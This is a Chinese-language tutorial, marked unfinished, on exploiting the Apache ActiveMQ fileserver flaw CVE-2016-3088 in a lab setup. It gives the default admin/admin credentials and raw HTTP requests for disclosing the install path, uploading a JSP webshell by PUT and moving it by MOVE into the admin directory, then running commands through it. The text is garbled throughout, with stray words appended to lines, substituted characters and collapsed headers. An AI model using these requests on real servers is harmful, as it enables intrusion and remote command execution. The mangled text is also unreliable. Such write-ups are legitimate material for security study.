ActiveMQ漏洞(CVE-2016-3088)利用总结——未完

前言:

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。随着中间件的启动,会打开两个端口,61616是工做端口,消息在这个端口进行传递;8161是Web管理页面端口。html

Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及之后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。java

弱口令:

admin/admin

基本介绍:

ActiveMQ的web控制台分三个应用,admin,api和fileserver,其中admin是管理员页面,api是接口,fileserver是存储文件的接口,admin和api都须要登陆后才能使用,fileserver无需登陆,fileserver是一个RESTful API接口,咱们能够经过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操做,其设计是为了弥补消息队列操做不能传输,存储二进制文件的缺陷,在5.12.x~5.13.~版本中,默认关闭了fileserver这个应用(能够在conf/jetty.xml中开启),在5.14.0版本后,完全删除了fileserver应用。web

漏洞原理:
ActiveMQ中的fileserver服务容许用户经过HTTP中的PUT方法上传文件到指定目录,构造PUT请求上传webshell到fileserver目录,而后经过MOVE方法将其移动到有执行权限的/admin目录中shell

影响版本:
Apache ActiveMQ 5.x ~ 5.14.0apache

复现过程:

一、官网下载apache-activemq-5.7.0-bin.tar 下载地址:http://activemq.apache.org/download-archives.html
二、解压
三、启动,进入bin目录下,运行activemq.bat
在这里插入图片描述
四、浏览器访问http://192.168.1.225:8161/,以下图能够看到成功搭建环境。
在这里插入图片描述五、访问fileserver看是否存在漏洞,经过burp抓包,请求方式修改成PUT,返回包返回204表示上传成功。
在这里插入图片描述
六、在浏览器中访问下当前文件,访问http://192.168.1.225:8161/fileserver/test.jsp,直接显示出来表示当前目录中是不解析或者是不支持的。
在这里插入图片描述
七、利用该版本存在物理路径泄露漏洞,爆一下绝对路径。
在这里插入图片描述八、利用Move方法将webshell移入admin目录下,以下图所示成功把文件移入到admin目录。
在这里插入图片描述五、利用该版本存在的未受权访问漏洞,不用登陆,访问http://192.168.1.225:8161/admin/test.jsp?cmd=ipconfig,下图能够看到成功执行命令。
在这里插入图片描述api

漏洞汇总:

一、Console存在默认端口和默认密码/未受权访问(默认密码为admin:admin)
ActiveMQ默认使用8161端口,使用nmap对目标服务器进行扫描:浏览器

[root@localhost src]# nmap -A -p8161 192.168.197.25 \
Starting Nmap 5.51 ( http://nmap.org ) at 2017-10-26 15:31 CST
Nmap scan report for 192.168.197.25
Host is up (0.00016s latency).
PORT     STATE SERVICE VERSION
8161/tcp open  http    Jetty httpd 7.6.7.v20120910
|_http-methods: No Allow or Public header in OPTIONS response (status code 401)
| http-auth: HTTP/1.1 401 Unauthorized
|
|_basic realm=ActiveMQRealm
|_http-title: Error 401 Unauthorized

二、ActiveMQ物理路径泄漏漏洞
ActiveMQ默认开启PUT请求,当开启PUT时,构造好Payload(即不存在的目录),Response会返回相应的物理路径信息:bash

请求包:
PUT /fileserver/a../../%08/..%08/.%08/%08 HTTP/1.1
Host: 192.168.197.25:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 4

test
返回包:
HTTP/1.1 500 /data/apache-activemq-5.7.0/webapps/fileserver//.././(No such file or directory)
Content-Length: 0
Server: Jetty(7.6.7.v20120910)

三、ActiveMQ PUT任意文件上传漏洞
ActiveMQ默认开启PUT方法,当fileserver存在时咱们能够上传jspwebshell。服务器

请求包:
PUT /fileserver/shell.jsp HTTP/1.1
Host: 192.168.197.25:8161
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 Authorization: Basic YWRtaW46YWRtaW4= Content-Length: 26 this is jsp webshell code. 
返回包:
HTTP/1.1 204 No Content
Server: Jetty(7.6.7.v20120910)

通常构造返回204响应码即为成功。app

四、ActiveMQ任意文件文件移动漏洞
ActiveMQ除了支持PUT协议以外,还支持MOVE协议。

Request Raw:
MOVE /fileserver/shell.jsp HTTP/1.1
Destination:file:/data/apache-activemq-5.7.0/webapps/admin/shell.jsp
Host: 192.168.197.25:8161
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 Authorization: Basic YWRtaW46YWRtaW4= Content-Length: 17 Content-Length: 0 
Response Raw:
HTTP/1.1 204 No Content
Server: Jetty(7.6.7.v20120910)